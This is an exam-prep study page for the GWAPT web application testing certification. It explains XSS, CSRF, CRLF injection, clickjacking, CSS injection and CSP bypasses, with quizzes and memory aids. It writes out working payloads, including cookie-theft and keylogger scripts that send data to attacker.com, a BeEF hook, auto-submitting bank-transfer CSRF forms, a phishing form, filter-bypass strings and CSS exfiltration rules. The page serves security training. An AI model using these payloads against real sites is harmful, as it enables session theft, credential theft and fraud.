GWAPT: XSS, CSRF & Client-Side Injection Attacks

GWAPT — Objective 7

The Browser as a Weapon

XSS executes attacker code in victims’ browsers. CSRF executes actions on victims’ behalf. Client-injection attacks exploit every trust assumption baked into the browser’s rendering engine.

🔎

What this page covers: GWAPT Objective 7 — Cross-Site Request Forgery, XSS & Client Injection Attacks. This is one of 8 weighted objectives on the 82-question CyberLive exam. Source training: SANS SEC542.

🎯 GWAPT Exam Profile

82Questions

3 HoursDuration

71%Passing Score

CyberLiveFormat (live labs)

ProctorU / Pearson VUEProctoring

4 YearsValidity

SANS SEC542Training

GIACIssuer

📋 All 8 GWAPT Objectives

#	Objective	This Page
1	Web Application Overview	—
2	Reconnaissance and Mapping	—
3	Web Application Configuration Testing	—
4	Web Application Authentication Attacks	—
5	Web Application Session Management	—
6	Web Application SQL Injection Attacks	—
⭐ 7	Cross-Site Request Forgery, XSS & Client Injection Attacks	✓ This Page
8	Web Application Testing Tools	—

Attack Categories in Objective 7

💻

Cross-Site Scripting (XSS)

Reflected, Stored, and DOM-based. Injects JavaScript into victims’ browsers using the target site’s trusted origin.

🔀

Cross-Site Request Forgery (CSRF)

Forces authenticated users’ browsers to send forged requests. Bypasses CSRF tokens via missing validation, format-only checks, and session-decoupled tokens.

🔭

Client-Side Injection

HTML injection, JavaScript injection, CRLF / HTTP header injection, clickjacking, and CSS injection.

🛡

Content Security Policy (CSP)

Key defense header; understand directives, unsafe-inline risk, nonce patterns, and bypass techniques.

Objective 7 — Deep Dive

Concepts: XSS, CSRF & Injection

Complete technical reference for every attack and defense mechanism tested on the GWAPT exam.

💻 Cross-Site Scripting (XSS)

XSS occurs when an application includes unvalidated user input in its output without proper encoding, allowing an attacker to inject JavaScript that executes in victims’ browsers. The browser trusts the script because it appears to originate from the legitimate site.

⚠

Root Cause: Failure to encode output in the correct context — HTML, JavaScript, URL, or CSS context each requires different encoding.

🔁

Reflected XSS

Payload in the HTTP request, reflected immediately. Requires social engineering. One victim per click.

💾

Stored XSS

Payload persisted in DB/files. Affects every user who views the page. No click required. Wormable.

🔍

DOM-Based XSS

Never reaches the server. Client-side JS reads attacker data from DOM and writes it unsafely.

Type 1: Reflected XSS

Payload sent in the request, echoed in the response without encoding. Victim must click a crafted URL.

// Malicious URL
http://target.com/search?q=<script>document.location='http://attacker.com/?c='+document.cookie</script>

// Server response (vulnerable)
<p>Search results for: <script>...</script></p>

Exploitation payloads:

// Cookie theft
<script>document.location='http://attacker.com/?c='+document.cookie</script>
// Keylogger
<script>document.onkeypress=function(e){fetch('http://attacker.com/?k='+e.key)}</script>
// BeEF hook
<script src="http://attacker.com:3000/hook.js"></script>

Type 2: Stored XSS (Persistent)

Payload stored in the application’s database and served to every user viewing the affected page. No per-victim social engineering required. Higher severity than Reflected.

Attacker Posts Comment

→

Stored in DB

→

Every Visitor Loads Page

→

Script Executes

→

Mass Cookie Theft

Common injection points: Comments, forum posts, user profiles, product reviews, chat messages, admin panels viewing user data.

Type 3: DOM-Based XSS

Payload never sent to the server. Client-side JavaScript reads attacker-controlled data (source) and writes it to a dangerous DOM location (sink) without sanitization.

// Vulnerable client-side code:
document.getElementById('output').innerHTML = location.hash.substring(1);
// Attacker URL:
http://target.com/#<img src=x onerror=alert(1)>

▶ Sources (attacker-controlled)

location.hash
location.search
document.referrer
postMessage
localStorage

▶ Sinks (dangerous write ops)

innerHTML
document.write()
eval()
setTimeout('string')
location.href

💡

Key difference: DOM XSS after # (fragment) never appears in proxy traffic. You must inspect client-side with browser DevTools, not Burp Suite alone.

XSS Payloads & Filter Bypasses

// Basic payloads
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<input autofocus onfocus=alert(1)>
<iframe src="javascript:alert(1)">

// Tag/attribute case bypass
<ScRiPt>alert(1)</ScRiPt>
<img SRC=x oNeRrOr=alert(1)>

// No quotes/spaces
<img/src=x onerror=alert(1)>

// Nested tags (filter strips inner <script>)
<scr<script>ipt>alert(1)</scr</script>ipt>

// HTML encoding
&#x3C;script&#x3E;alert(1)&#x3C;/script&#x3E;

// data: URI
<iframe src="data:text/html,<script>alert(1)</script>">

Context-Specific Injection

// Inside HTML attribute: break out with "
" onmouseover="alert(1)

// Inside JavaScript string: break out with '
'; alert(1);//

// Inside href/src attribute
javascript:alert(1)

// Inside CSS (legacy IE)
}body{background:url("javascript:alert(1)")}

🔀 Cross-Site Request Forgery (CSRF)

CSRF forces an authenticated user’s browser to send a forged request to a target application using the user’s existing session. The application cannot distinguish the legitimate user’s request from the forged one.

Three Requirements for CSRF to Work

User must be authenticated to the target site
Action relies solely on cookies/session (no additional secret token required)
Request parameters are predictable by the attacker

GET-Based CSRF (worst — state-changing GETs)

// Auto-executes when page loads — no click required
<img src="http://bank.com/transfer?to=attacker&amount=1000">

POST-Based CSRF

<form action="http://bank.com/transfer" method="POST" id="csrf">
  <input name="to" value="attacker">
  <input name="amount" value="1000">
</form>
<script>document.getElementById('csrf').submit();</script>

CSRF Defenses & Bypass Techniques

CSRF Token (Synchronizer Token Pattern)

Server includes a secret random token in each form. Server validates it on state-changing requests. Token tied to session — attacker can’t know it from a different origin.

Bypass checklist:

Token not validated at all? → Remove it entirely
Validated by format only? → Change to same-length arbitrary value
Not tied to session? → Use your own valid token
Token in URL? → May leak via Referer header

SameSite Cookie Attribute

SameSite=Strict — cookie never sent cross-site; breaks some legitimate cross-site navigation
SameSite=Lax — sent on top-level GET navigation only; protects POST CSRF
Bypass Lax: use GET for state change if server accepts it; Chrome 120-second window on new sessions

Referer/Origin Header & Double Submit

Referer bypass: suppress with <meta name="referrer" content="no-referrer"> or null origin via sandboxed iframe
Double Submit Cookie bypass: if attacker can set a subdomain cookie (subdomain takeover / cookie injection)

🔭 Client-Side Injection Attacks

HTML Injection

Inject raw HTML without JavaScript execution. Lower severity than XSS but creates convincing phishing pages within the legitimate domain. Useful when CSP blocks scripts but not HTML.

// Phishing form injected into legitimate page
<h1>Session expired. Please log in again.</h1>
<form action="http://attacker.com">
  <input type="password" name="pass">
</form>

JavaScript Injection

// eval() with user input
eval("var x = " + userInput); // inject: alert(1)
// Eval-like behavior
setTimeout("string")
setInterval("string")
document.write(userInput)
innerHTML = userInput

HTTP Header Injection (CRLF Injection)

CRLF = \r\n terminates HTTP headers and starts a new line. If user input is reflected in a response header without stripping %0d%0a, an attacker can inject arbitrary headers.

// URL-encoded: %0d%0a = \r\n
http://target.com/redirect?url=http://attacker.com%0d%0aSet-Cookie:+session=hijacked

// Can inject:
Set-Cookie: session=attacker_value   // cookie injection
Location: http://attacker.com         // open redirect
[blank line] [body content]           // HTTP response splitting

Clickjacking

Attacker overlays a transparent iframe of the target site on top of their own page. Victim clicks what appears to be the attacker’s button, actually clicks the target site’s button.

⚠ Attack

Transparent iframe of “Delete Account” positioned over “Win a Prize” button. Victim clicks, deletes account.

✓ Defense

X-Frame-Options: DENY or SAMEORIGIN; CSP frame-ancestors 'none'. If neither is set → vulnerable.

CSS Injection

Inject CSS in contexts where JS is blocked. Can exfiltrate data via CSS attribute selectors without JavaScript.

// CSS-based data exfiltration — reveals input value character by character
input[value^="a"] { background: url(http://attacker.com/leak?c=a) }
input[value^="b"] { background: url(http://attacker.com/leak?c=b) }
// Useful when CSP blocks scripts but not style injection

🛡 Content Security Policy (CSP)

HTTP response header that restricts what resources the browser can load and execute. Primary defense against XSS.

// Example strong policy
Content-Security-Policy: script-src 'self'; object-src 'none'; base-uri 'self'

Key Directives

default-src 'self' — default: same-origin only for all resource types
script-src 'self' — only same-origin scripts allowed
'unsafe-inline' — allows inline <script> and event handlers — defeats CSP for XSS
'unsafe-eval' — allows eval() — partial defeat
nonce-<base64> — allow specific inline scripts with matching nonce — safer than unsafe-inline
frame-ancestors 'none' — blocks clickjacking (replaces X-Frame-Options)

CSP Bypass Techniques

JSONP on whitelisted domain: <script src="https://cdn.example.com/jsonp?callback=alert(1)">
Open redirect on whitelisted domain: redirect to attacker payload URL
Base tag injection: change base URL so relative script paths load from attacker.com
unsafe-inline present: CSP provides no XSS protection at all
Missing object-src: can load Flash/PDF plugins with arbitrary scripts

📸 XSS Impact & Real-World Attack Chains

Session Hijacking

Steal session cookie → account takeover. Blocked if cookie is HttpOnly.

Credential Harvesting

Overlay fake login form → capture plaintext credentials.

Browser Exploitation

Deliver BeEF hooks → full browser control, port scanning, webcam access.

XSS → CSRF Chain

XSS reads CSRF token from DOM, then forges authenticated requests — bypasses CSRF defenses entirely.

Exam Memory Aids

Memory Hooks

Six rapid-recall hooks designed for GWAPT exam conditions. Read, internalize, and recall under pressure.

1

XSS Types: R-S-D

Reflected — one victim, needs a click (link sent to victim)
Stored — all victims, no click needed (wormable)
DOM-based — client-side only, never hits the server

“Really Scary DOM attacks”

2

XSS Root Cause

“Output not encoded = attacker controls the browser.” Context matters: HTML encoding ≠ JavaScript encoding ≠ URL encoding. One wrong context = XSS.

Encode output in the right context

3

CSRF: Three Requirements

Authenticated — user must be logged in
Predictable — all request params known
Cookied — auth relies only on cookie/session

“APC: Auth, Predictable, Cookied”

4

CSRF Token Bypass Checklist

Not validated? Remove it.
Format-only check? Change the value.
Not tied to session? Use your own token.
In URL? Check Referer leak.

Remove → Change → Swap → Leak

5

CRLF = \r\n

Carriage Return + Line Feed terminates HTTP headers. Inject %0d%0a in URL parameters to add headers or split responses. Enables cookie injection, redirects, response splitting.

%0d%0a = header separator

6

Clickjacking Defense

If X-Frame-Options: DENY or CSP frame-ancestors 'none' is missing → site can be framed → clickjacking possible. Test with a simple iframe POC.

“Don’t let anyone frame you”

🎯

Bonus hook — XSS → CSRF chain: XSS bypasses CSRF defenses by reading the token value from the DOM (e.g., a hidden form field), then issuing an XMLHttpRequest with that token attached. This is why XSS is “game over” for all same-origin protections.

Vignette Quiz — 10 Questions

Test Your Knowledge

🎯 Practice identifying XSS type from scenario descriptions: does the payload appear in the URL? Is it stored? Does it only execute client-side? Build a rapid classification habit. HIGH

💻 Memorize the Source → Sink model. Know the 5 key sources (location.hash, location.search, document.referrer, postMessage, localStorage) and 5 key sinks (innerHTML, eval(), document.write(), setTimeout('str'), location.href). HIGH

💡 Remember: DOM XSS after # fragment is invisible to the proxy. You must use browser DevTools to observe it. GWAPT CyberLive lab will test this distinction. MED

🔭 Stored XSS: know injection points (comments, profiles, reviews, admin panels). Understand worm propagation: stored XSS can spread virally if a share/follow action triggers the stored payload. MED

🎯

Exam tip: Questions often describe a scenario where “a user clicks a link and a script executes” — that’s Reflected. “All users who visit the forum see an alert” — Stored. “No request appears in the proxy log” — DOM-based.

2

XSS Payloads, Filter Bypasses & Exploitation

Craft payloads for filtered environments and chain into impact

▾

🔐 Master event-handler payloads that work without <script>: <img src=x onerror=...>, <svg onload=...>, <input autofocus onfocus=...>. These bypass filters that only block <script>. HIGH

🔮 Understand context-specific injection: inside HTML attribute (break out with "), inside JS string (break out with ';), inside href (use javascript:). The context determines the payload. HIGH

🏴 Know HttpOnly cookies: they prevent document.cookie theft via XSS but do not prevent the XSS from making authenticated requests in the user’s context (e.g., CSRF via XSS still works). MED

🐸 BeEF (Browser Exploitation Framework): know it hooks victim browsers via XSS, enables port scanning, webcam access, keylogging, session riding. Mentioned frequently in SANS SEC542 labs. LOW

3

CSRF Mechanics & Defense Bypasses

Exploit and bypass all major CSRF protection mechanisms

▾

📋 Internalize the CSRF token bypass checklist: (1) not validated → remove it, (2) format-only → change value, (3) not session-tied → use your own, (4) in URL → check Referer. Exam questions present one of these four scenarios. HIGH

🍪 SameSite=Lax bypass: if the server accepts GET for a state-changing action, a top-level GET navigation (e.g., <a href=...>) still sends the cookie. Also know Chrome’s 120-second new-cookie enforcement window. HIGH

🗡 Build a GET-based and POST-based CSRF PoC from memory. GET PoC: <img src="...">. POST PoC: auto-submitting form. Know the difference in when each is needed. MED

👥 Double Submit Cookie bypass: only works if attacker can inject a cookie (subdomain takeover, cookie-jar manipulation). Understand why SOP prevents cookie-reading but not always cookie-setting via subdomains. LOW

4

Client-Side Injection: CRLF, Clickjacking, HTML Injection

Master the non-XSS injection techniques tested in Objective 7

▾

🔁 CRLF injection: know %0d%0a injects a new header line. Identify vulnerable parameters by injecting %0d%0aX-Test: injected and checking the response headers in the proxy. HIGH

📷 Clickjacking test: create a simple HTML file with an iframe pointing to the target. If it renders, the site is vulnerable. Then check for both X-Frame-Options and Content-Security-Policy: frame-ancestors. HIGH

📄 HTML injection vs XSS: HTML injection can build convincing phishing content (fake forms, fake headings) without executing JavaScript. Severity is lower but still a finding, especially in-scope for GWAPT reports. MED

🎨 CSS injection data exfiltration: know the selector trick (input[value^="a"]{background:url(...)}) for cases where JS is blocked but style injection is possible. LOW

5

Content Security Policy: Directives, Misconfigurations & Bypasses

Evaluate and bypass CSP in real application testing scenarios

▾

🛡 Know what each directive does: script-src, default-src, object-src, base-uri, frame-ancestors. If object-src is missing and default-src is not set, plugins can bypass script restrictions. HIGH

🚫 'unsafe-inline' in script-src completely defeats XSS protection. If an exam question shows a CSP with unsafe-inline, the answer is always “CSP does not protect against XSS.” HIGH

🔗 JSONP bypass: if a whitelisted domain serves a JSONP endpoint, inject ?callback=alert(1) to execute code under the CSP. Always check whitelisted CDNs for JSONP endpoints and open redirects. MED

📌 Base tag injection: if base-uri is not restricted, inject <base href="http://attacker.com"> to redirect all relative script/link tags to attacker-controlled resources. MED

🔧 Use CSP Evaluator (csp-evaluator.withgoogle.com) during labs to quickly identify weaknesses. Know how to read and interpret a CSP header in a proxy response. Nonce-based CSP is the strongest — each page load a fresh nonce is required. LOW

Official Resources

Authoritative references for GWAPT Objective 7. Use alongside SANS SEC542 course materials.

🎯

GIAC GWAPT Official Certification Page

Exam objectives, format, registration, and practice test information

↗ 💻

PortSwigger Web Security Academy — XSS

Interactive labs for Reflected, Stored, and DOM-based XSS with real exploitation practice

↗ 🔀

PortSwigger Web Security Academy — CSRF

CSRF mechanics, CSRF token bypass labs, SameSite cookie bypass scenarios

↗ 📌

OWASP XSS Prevention Cheat Sheet

Context-specific output encoding rules for HTML, JS, URL, and CSS contexts

↗ 🔐

PayloadsAllTheThings — XSS Injection

Comprehensive payload list including filter bypass techniques and context-specific payloads

↗ 🛡

Google CSP Evaluator

Paste any CSP header to identify weaknesses, bypass opportunities, and missing directives

↗

📖

SANS SEC542 Course Books: The primary source for GWAPT is the SANS SEC542 course materials. All topics on this page are drawn from those objectives. PortSwigger labs are the best supplemental practice for CyberLive format (hands-on exploitation).

XSS, CSRF & Client-Side Injection Attacks

The Browser as a Weapon

🎯 GWAPT Exam Profile

📋 All 8 GWAPT Objectives

Attack Categories in Objective 7

Cross-Site Scripting (XSS)

Cross-Site Request Forgery (CSRF)

Client-Side Injection

Content Security Policy (CSP)

Concepts: XSS, CSRF & Injection

Reflected XSS

Stored XSS

DOM-Based XSS

▶ Sources (attacker-controlled)

▶ Sinks (dangerous write ops)

Three Requirements for CSRF to Work

CSRF Token (Synchronizer Token Pattern)

SameSite Cookie Attribute

Referer/Origin Header & Double Submit

⚠ Attack

✓ Defense

Key Directives

CSP Bypass Techniques

Session Hijacking

Credential Harvesting

Browser Exploitation

XSS → CSRF Chain

Memory Hooks

XSS Types: R-S-D

XSS Root Cause

CSRF: Three Requirements

CSRF Token Bypass Checklist

CRLF = \r\n

Clickjacking Defense

Test Your Knowledge

Exam Flashcards

What is the key difference between Reflected and Stored XSS?

Stored vs Reflected

What is the Source → Sink model in DOM-Based XSS?

Source → Sink

What are the three requirements for a CSRF attack to succeed?

APC Requirements

SameSite=Strict vs SameSite=Lax — what does each allow?

SameSite Values

What is Content Security Policy and what does ‘unsafe-inline’ risk?

CSP & unsafe-inline

How does clickjacking work and what headers prevent it?

Clickjacking Attack & Defense

What does CRLF injection enable and how is it URL-encoded?

CRLF = %0d%0a

How does XSS enable an attacker to bypass CSRF tokens?

XSS → CSRF Chain

Study Advisor

XSS Types: Reflected, Stored, DOM-Based

XSS Payloads, Filter Bypasses & Exploitation

CSRF Mechanics & Defense Bypasses

Client-Side Injection: CRLF, Clickjacking, HTML Injection

Content Security Policy: Directives, Misconfigurations & Bypasses

Official Resources

GIAC GWAPT Official Certification Page

PortSwigger Web Security Academy — XSS

PortSwigger Web Security Academy — CSRF

OWASP XSS Prevention Cheat Sheet

PayloadsAllTheThings — XSS Injection

Google CSP Evaluator

Ready to pass the GWAPT?